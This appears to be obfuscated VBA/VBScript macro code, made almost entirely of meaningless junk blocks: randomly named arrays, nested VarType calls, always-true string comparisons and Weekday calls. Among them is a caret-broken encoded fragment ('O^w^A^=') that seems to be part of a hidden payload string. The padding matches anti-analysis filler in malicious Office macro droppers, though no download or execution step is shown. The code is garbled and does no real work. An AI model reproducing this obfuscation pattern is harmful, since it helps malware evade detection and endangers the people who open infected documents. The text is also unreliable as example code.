If "ReWeZIBYUha" <> CStr("ReWeZIBYUha5293") Then
Dim tEibORehWABeRiRaaQUZekIDREdiMeJhyaYW(4)
If "HyHemityZAwjy" <> CStr("HyHemityZAwjy7862") Then
   tEibORehWABeRiRaaQUZekIDREdiMeJhyaYW(0) = VarType(VarType(VarType("HyHemityZAwjy")))
End If
tEibORehWABeRiRaaQUZekIDREdiMeJhyaYW(1) = CInt(CStr("#7862"))
VarType HyHemityZAwjy
VarType tEibORehWABeRiRaaQUZekIDREdiMeJhyaYW
If LenB(tEibORehWABeRiRaaQUZekIDREdiMeJhyaYW(1)) > 11 Then
  tEibORehWABeRiRaaQUZekIDREdiMeJhyaYW(2) = Weekday(78623)
End If
tEibORehWABeRiRaaQUZekIDREdiMeJhyaYW(3) = VarType(tEibORehWABeRiRaaQUZekIDREdiMeJhyaYW)
   fAZPEsedYavEnINOjYwyz(0) = VarType(VarType(VarType("ReWeZIBYUha")))
End If
Dim ROhpiFogEhiGUmiCiHOvUXNiiAj(4)
If "raxUlavuFybEHAl" <> CStr("raxUlavuFybEHAl9082") Then
   ROhpiFogEhiGUmiCiHOvUXNiiAj(0) = VarType(VarType(VarType("raxUlavuFybEHAl")))
End If
ROhpiFogEhiGUmiCiHOvUXNiiAj(1) = CInt(CStr("#9082"))
VarType raxUlavuFybEHAl
VarType ROhpiFogEhiGUmiCiHOvUXNiiAj
If LenB(ROhpiFogEhiGUmiCiHOvUXNiiAj(1)) > 13 Then
  ROhpiFogEhiGUmiCiHOvUXNiiAj(2) = Weekday(90828)
End If
ROhpiFogEhiGUmiCiHOvUXNiiAj(3) = VarType(ROhpiFogEhiGUmiCiHOvUXNiiAj)
fAZPEsedYavEnINOjYwyz(1) = CInt(CStr("#5293"))
Dim biLeHoWXykuvYHynxOPUioKuwYjIhisiMaquk(4)
If "NYbifUwiseweF" <> CStr("NYbifUwiseweF7012") Then
   biLeHoWXykuvYHynxOPUioKuwYjIhisiMaquk(0) = VarType(VarType(VarType("NYbifUwiseweF")))
End If
biLeHoWXykuvYHynxOPUioKuwYjIhisiMaquk(1) = CInt(CStr("#7012"))
VarType NYbifUwiseweF
VarType biLeHoWXykuvYHynxOPUioKuwYjIhisiMaquk
If LenB(biLeHoWXykuvYHynxOPUioKuwYjIhisiMaquk(1)) > 11 Then
  biLeHoWXykuvYHynxOPUioKuwYjIhisiMaquk(2) = Weekday(70125)
End If
biLeHoWXykuvYHynxOPUioKuwYjIhisiMaquk(3) = VarType(biLeHoWXykuvYHynxOPUioKuwYjIhisiMaquk)
VarType ReWeZIBYUha
VarType fAZPEsedYavEnINOjYwyz
If LenB(fAZPEsedYavEnINOjYwyz(1)) > 11 Then
  fAZPEsedYavEnINOjYwyz(2) = Weekday(529310)
Dim PyREhoRUTutAjiZBeFaHiNaqAg(4)
If "jUQEnULeTwUKsyiaBolOb" <> CStr("jUQEnULeTwUKsyiaBolOb1829") Then
   PyREhoRUTutAjiZBeFaHiNaqAg(0) = VarType(VarType(VarType("jUQEnULeTwUKsyiaBolOb")))
End If
PyREhoRUTutAjiZBeFaHiNaqAg(1) = CInt(CStr("#1829"))
VarType jUQEnULeTwUKsyiaBolOb
VarType PyREhoRUTutAjiZBeFaHiNaqAg
If LenB(PyREhoRUTutAjiZBeFaHiNaqAg(1)) > 11 Then
  PyREhoRUTutAjiZBeFaHiNaqAg(2) = Weekday(18292)
End If
PyREhoRUTutAjiZBeFaHiNaqAg(3) = VarType(PyREhoRUTutAjiZBeFaHiNaqAg)
Dim WivIVodybEdApILITerupEkyDArUP(4)
If "MUGeLaWoczAzIQZOtYlil" <> CStr("MUGeLaWoczAzIQZOtYlil4512") Then
   WivIVodybEdApILITerupEkyDArUP(0) = VarType(VarType(VarType("MUGeLaWoczAzIQZOtYlil")))
End If
WivIVodybEdApILITerupEkyDArUP(1) = CInt(CStr("#4512"))
VarType MUGeLaWoczAzIQZOtYlil
VarType WivIVodybEdApILITerupEkyDArUP
If LenB(WivIVodybEdApILITerupEkyDArUP(1)) > 13 Then
  WivIVodybEdApILITerupEkyDArUP(2) = Weekday(45126)
End If
WivIVodybEdApILITerupEkyDArUP(3) = VarType(WivIVodybEdApILITerupEkyDArUP)
End If
fAZPEsedYavEnINOjYwyz(3) = VarType(fAZPEsedYavEnINOjYwyz)
Dim LyheSYPaXyzEZOohbeZUhykYVx(4)
If "xILaiIVUdIMonagE" <> CStr("xILaiIVUdIMonagE7438") Then
   LyheSYPaXyzEZOohbeZUhykYVx(0) = VarType(VarType(VarType("xILaiIVUdIMonagE")))
End If
LyheSYPaXyzEZOohbeZUhykYVx(1) = CInt(CStr("#7438"))
VarType xILaiIVUdIMonagE
VarType LyheSYPaXyzEZOohbeZUhykYVx
If LenB(LyheSYPaXyzEZOohbeZUhykYVx(1)) > 11 Then
  LyheSYPaXyzEZOohbeZUhykYVx(2) = Weekday(74389)
End If
LyheSYPaXyzEZOohbeZUhykYVx(3) = VarType(LyheSYPaXyzEZOohbeZUhykYVx)
Dim MyteReGEnwAhOcutaNypAQUs(4)
If "fezuQiGagyXuFagyi" <> CStr("fezuQiGagyXuFagyi5495") Then
   MyteReGEnwAhOcutaNypAQUs(0) = VarType(VarType(VarType("fezuQiGagyXuFagyi")))
End If
MyteReGEnwAhOcutaNypAQUs(1) = CInt(CStr("#5495"))
VarType fezuQiGagyXuFagyi
VarType MyteReGEnwAhOcutaNypAQUs
If LenB(MyteReGEnwAhOcutaNypAQUs(1)) > 13 Then
  MyteReGEnwAhOcutaNypAQUs(2) = Weekday(54953)
End If
MyteReGEnwAhOcutaNypAQUs(3) = VarType(MyteReGEnwAhOcutaNypAQUs)


Dim GPygYmolyjYJuPOjPymotOdEnuPeCICOlYLr(4)
If "jiFOheKOzULIPuzyDunoTi" <> CStr("jiFOheKOzULIPuzyDunoTi5816") Then
   GPygYmolyjYJuPOjPymotOdEnuPeCICOlYLr(0) = VarType(VarType(VarType("jiFOheKOzULIPuzyDunoTi")))
End If
GPygYmolyjYJuPOjPymotOdEnuPeCICOlYLr(1) = CInt(CStr("#5816"))
VarType jiFOheKOzULIPuzyDunoTi
VarType GPygYmolyjYJuPOjPymotOdEnuPeCICOlYLr
If LenB(GPygYmolyjYJuPOjPymotOdEnuPeCICOlYLr(1)) > 10 Then
  GPygYmolyjYJuPOjPymotOdEnuPeCICOlYLr(2) = Weekday(58164)
End If
GPygYmolyjYJuPOjPymotOdEnuPeCICOlYLr(3) = VarType(GPygYmolyjYJuPOjPymotOdEnuPeCICOlYLr)
luMUnUJIROGYgyFYwStYmIwobOLadYZIcophIsAta = "O^w^A^="
Dim KaBIrypYaIpiCunYmkEayTygICOj(4)
If "vuziDAmUrYCaJYFODiqe" <> CStr("vuziDAmUrYCaJYFODiqe8875") Then
   KaBIrypYaIpiCunYmkEayTygICOj(0) = VarType(VarType(VarType("vuziDAmUrYCaJYFODiqe")))
End If
KaBIrypYaIpiCunYmkEayTygICOj(1) = CInt(CStr("#8875"))
VarType vuziDAmUrYCaJYFODiqe
VarType KaBIrypYaIpiCunYmkEayTygICOj
If LenB(KaBIrypYaIpiCunYmkEayTygICOj(1)) > 13 Then
  KaBIrypYaIpiCunYmkEayTygICOj(2) = Weekday(88758)
End If
KaBIrypYaIpiCunYmkEayTygICOj(3) = VarType(KaBIrypYaIpiCunYmkEayTygICOj)
Dim CiKyeHOhYluWUFuXiCUTyVoTezuREWumyNaj(4)
Dim TIBIJOaUZoZITIrAtabEmOGOku(4)
If "VUVIletoTLIDAfU" <> CStr("VUVIletoTLIDAfU16") Then
   TIBIJOaUZoZITIrAtabEmOGOku(0) = VarType(VarType(VarType("VUVIletoTLIDAfU")))
End If
TIBIJOaUZoZITIrAtabEmOGOku(1) = CInt(CStr("#16"))
VarType VUVIletoTLIDAfU
VarType TIBIJOaUZoZITIrAtabEmOGOku
If LenB(TIBIJOaUZoZITIrAtabEmOGOku(1)) > 10 Then
  TIBIJOaUZoZITIrAtabEmOGOku(2) = Weekday(167)
End If
TIBIJOaUZoZITIrAtabEmOGOku(3) = VarType(TIBIJOaUZoZITIrAtabEmOGOku)
Dim iuhUayBeTAayXoRyiOXajaxUtUPyb(4)
If "raPofGiSOWuRYWY" <> CStr("raPofGiSOWuRYWY9442") Then
   iuhUayBeTAayXoRyiOXajaxUtUPyb(0) = VarType(VarType(VarType("raPofGiSOWuRYWY")))
End If
iuhUayBeTAayXoRyiOXajaxUtUPyb(1) = CInt(CStr("#9442"))
VarType raPofGiSOWuRYWY
VarType iuhUayBeTAayXoRyiOXajaxUtUPyb
If LenB(iuhUayBeTAayXoRyiOXajaxUtUPyb(1)) > 12 Then
  iuhUayBeTAayXoRyiOXajaxUtUPyb(2) = Weekday(94427)
End If
iuhUayBeTAayXoRyiOXajaxUtUPyb(3) = VarType(iuhUayBeTAayXoRyiOXajaxUtUPyb)
If "NYhavuadAZeFuK" <> CStr("NYhavuadAZeFuK2159") Then
Dim NoxIzYdUQNTuCENYroXIteHUcaPOgAKIl(4)
If "WOPysanYcoRtEfeV" <> CStr("WOPysanYcoRtEfeV4512") Then
   NoxIzYdUQNTuCENYroXIteHUcaPOgAKIl(0) = VarType(VarType(VarType("WOPysanYcoRtEfeV")))
End If
NoxIzYdUQNTuCENYroXIteHUcaPOgAKIl(1) = CInt(CStr("#4512"))
VarType WOPysanYcoRtEfeV
VarType NoxIzYdUQNTuCENYroXIteHUcaPOgAKIl
If LenB(NoxIzYdUQNTuCENYroXIteHUcaPOgAKIl(1)) > 10 Then
  NoxIzYdUQNTuCENYroXIteHUcaPOgAKIl(2) = Weekday(45124)
End If
NoxIzYdUQNTuCENYroXIteHUcaPOgAKIl(3) = VarType(NoxIzYdUQNTuCENYroXIteHUcaPOgAKIl)
   CiKyeHOhYluWUFuXiCUTyVoTezuREWumyNaj(0) = VarType(VarType(VarType("NYhavuadAZeFuK")))
Dim geriiEPbaXOpiipuSEGebEvUkuLINytagPUCy(4)
If "tIreVEGesibAbUvepexI" <> CStr("tIreVEGesibAbUvepexI3430") Then
   geriiEPbaXOpiipuSEGebEvUkuLINytagPUCy(0) = VarType(VarType(VarType("tIreVEGesibAbUvepexI")))
End If
geriiEPbaXOpiipuSEGebEvUkuLINytagPUCy(1) = CInt(CStr("#3430"))
VarType tIreVEGesibAbUvepexI
VarType geriiEPbaXOpiipuSEGebEvUkuLINytagPUCy
If LenB(geriiEPbaXOpiipuSEGebEvUkuLINytagPUCy(1)) > 13 Then
  geriiEPbaXOpiipuSEGebEvUkuLINytagPUCy(2) = Weekday(34305)
End If
geriiEPbaXOpiipuSEGebEvUkuLINytagPUCy(3) = VarType(geriiEPbaXOpiipuSEGebEvUkuLINytagPUCy)
End If
Dim ZuWedABOlAXYkqoQeZOPUsUSAVIxyHiV(4)
If "qEXEpoaIQoQOgyf" <> CStr("qEXEpoaIQoQOgyf1993") Then
   ZuWedABOlAXYkqoQeZOPUsUSAVIxyHiV(0) = VarType(VarType(VarType("qEXEpoaIQoQOgyf")))
End If
ZuWedABOlAXYkqoQeZOPUsUSAVIxyHiV(1) = CInt(CStr("#1993"))
VarType qEXEpoaIQoQOgyf
VarType ZuWedABOlAXYkqoQeZOPUsUSAVIxyHiV
If LenB(ZuWedABOlAXYkqoQeZOPUsUSAVIxyHiV(1)) > 11 Then
  ZuWedABOlAXYkqoQeZOPUsUSAVIxyHiV(2) = Weekday(19932)
End If
ZuWedABOlAXYkqoQeZOPUsUSAVIxyHiV(3) = VarType(ZuWedABOlAXYkqoQeZOPUsUSAVIxyHiV)
CiKyeHOhYluWUFuXiCUTyVoTezuREWumyNaj(1) = CInt(CStr("#2159"))
Dim lyqOjAdEiEtOleDeneaAfIMyDoHADEqog(4)
If "vaSENopYWAqyT" <> CStr("vaSENopYWAqyT3389") Then
   lyqOjAdEiEtOleDeneaAfIMyDoHADEqog(0) = VarType(VarType(VarType("vaSENopYWAqyT")))
End If
lyqOjAdEiEtOleDeneaAfIMyDoHADEqog(1) = CInt(CStr("#3389"))
VarType vaSENopYWAqyT
VarType lyqOjAdEiEtOleDeneaAfIMyDoHADEqog
If LenB(lyqOjAdEiEtOleDeneaAfIMyDoHADEqog(1)) > 13 Then
  lyqOjAdEiEtOleDeneaAfIMyDoHADEqog(2) = Weekday(33896)
End If
lyqOjAdEiEtOleDeneaAfIMyDoHADEqog(3) = VarType(lyqOjAdEiEtOleDeneaAfIMyDoHADEqog)
Dim RYjeLOhixICEKuhApucEvaLUFaBelOXiZyz(4)
If "FEDETygYCinEkhyMUHiS" <> CStr("FEDETygYCinEkhyMUHiS9527") Then
   RYjeLOhixICEKuhApucEvaLUFaBelOXiZyz(0) = VarType(VarType(VarType("FEDETygYCinEkhyMUHiS")))
End If
RYjeLOhixICEKuhApucEvaLUFaBelOXiZyz(1) = CInt(CStr("#9527"))
VarType FEDETygYCinEkhyMUHiS
VarType RYjeLOhixICEKuhApucEvaLUFaBelOXiZyz
If LenB(RYjeLOhixICEKuhApucEvaLUFaBelOXiZyz(1)) > 11 Then
  RYjeLOhixICEKuhApucEvaLUFaBelOXiZyz(2) = Weekday(952710)
End If
RYjeLOhixICEKuhApucEvaLUFaBelOXiZyz(3) = VarType(RYjeLOhixICEKuhApucEvaLUFaBelOXiZyz)
VarType NYhavuadAZeFuK
VarType CiKyeHOhYluWUFuXiCUTyVoTezuREWumyNaj
Dim CatylUqyiEaOaejuDIxUiijocOMuALtyQILAqH(4)
If "MqaUbUwiC" <> CStr("MqaUbUwiC1119") Then
   CatylUqyiEaOaejuDIxUiijocOMuALtyQILAqH(0) = VarType(VarType(VarType("MqaUbUwiC")))
End If
CatylUqyiEaOaejuDIxUiijocOMuALtyQILAqH(1) = CInt(CStr("#1119"))
VarType MqaUbUwiC
VarType CatylUqyiEaOaejuDIxUiijocOMuALtyQILAqH
If LenB(CatylUqyiEaOaejuDIxUiijocOMuALtyQILAqH(1)) > 13 Then
  CatylUqyiEaOaejuDIxUiijocOMuALtyQILAqH(2) = Weekday(11194)
End If
CatylUqyiEaOaejuDIxUiijocOMuALtyQILAqH(3) = VarType(CatylUqyiEaOaejuDIxUiijocOMuALtyQILAqH)
If LenB(CiKyeHOhYluWUFuXiCUTyVoTezuREWumyNaj(1)) > 13 Then
Dim gOLUVoFEpiSICUkeQuxAqyJasUhyttyMAfuCuKIN(4)
If "luhybUNSAX" <> CStr("luhybUNSAX8982") Then
   gOLUVoFEpiSICUkeQuxAqyJasUhyttyMAfuCuKIN(0) = VarType(VarType(VarType("luhybUNSAX")))
End If
gOLUVoFEpiSICUkeQuxAqyJasUhyttyMAfuCuKIN(1) = CInt(CStr("#8982"))
VarType luhybUNSAX
VarType gOLUVoFEpiSICUkeQuxAqyJasUhyttyMAfuCuKIN
If LenB(gOLUVoFEpiSICUkeQuxAqyJasUhyttyMAfuCuKIN(1)) > 12 Then
  gOLUVoFEpiSICUkeQuxAqyJasUhyttyMAfuCuKIN(2) = Weekday(89821)
End If
gOLUVoFEpiSICUkeQuxAqyJasUhyttyMAfuCuKIN(3) = VarType(gOLUVoFEpiSICUkeQuxAqyJasUhyttyMAfuCuKIN)
Dim WoZyCIDEvajumisUwOgeQuMirUBEKANiQoaAJoPaGYzICIke(4)
If "DUGoGOpavyCopafOWaqINiRa" <> CStr("DUGoGOpavyCopafOWaqINiRa3749") Then
   WoZyCIDEvajumisUwOgeQuMirUBEKANiQoaAJoPaGYzICIke(0) = VarType(VarType(VarType("DUGoGOpavyCopafOWaqINiRa")))
End If
WoZyCIDEvajumisUwOgeQuMirUBEKANiQoaAJoPaGYzICIke(1) = CInt(CStr("#3749"))
VarType DUGoGOpavyCopafOWaqINiRa
VarType WoZyCIDEvajumisUwOgeQuMirUBEKANiQoaAJoPaGYzICIke
If LenB(WoZyCIDEvajumisUwOgeQuMirUBEKANiQoaAJoPaGYzICIke(1)) > 13 Then
  WoZyCIDEvajumisUwOgeQuMirUBEKANiQoaAJoPaGYzICIke(2) = Weekday(37491)
End If
WoZyCIDEvajumisUwOgeQuMirUBEKANiQoaAJoPaGYzICIke(3) = VarType(WoZyCIDEvajumisUwOgeQuMirUBEKANiQoaAJoPaGYzICIke)
  CiKyeHOhYluWUFuXiCUTyVoTezuREWumyNaj(2) = Weekday(21598)
End If
Dim KOvOFIXuXKYjdyxautUPeLEPAbEd(4)
If "heKAJyCebAWOQANAZHa" <> CStr("heKAJyCebAWOQANAZHa2181") Then
   KOvOFIXuXKYjdyxautUPeLEPAbEd(0) = VarType(VarType(VarType("heKAJyCebAWOQANAZHa")))
End If
KOvOFIXuXKYjdyxautUPeLEPAbEd(1) = CInt(CStr("#2181"))
VarType heKAJyCebAWOQANAZHa
VarType KOvOFIXuXKYjdyxautUPeLEPAbEd
If LenB(KOvOFIXuXKYjdyxautUPeLEPAbEd(1)) > 13 Then
  KOvOFIXuXKYjdyxautUPeLEPAbEd(2) = Weekday(21814)
End If
KOvOFIXuXKYjdyxautUPeLEPAbEd(3) = VarType(KOvOFIXuXKYjdyxautUPeLEPAbEd)
CiKyeHOhYluWUFuXiCUTyVoTezuREWumyNaj(3) = VarType(CiKyeHOhYluWUFuXiCUTyVoTezuREWumyNaj)
…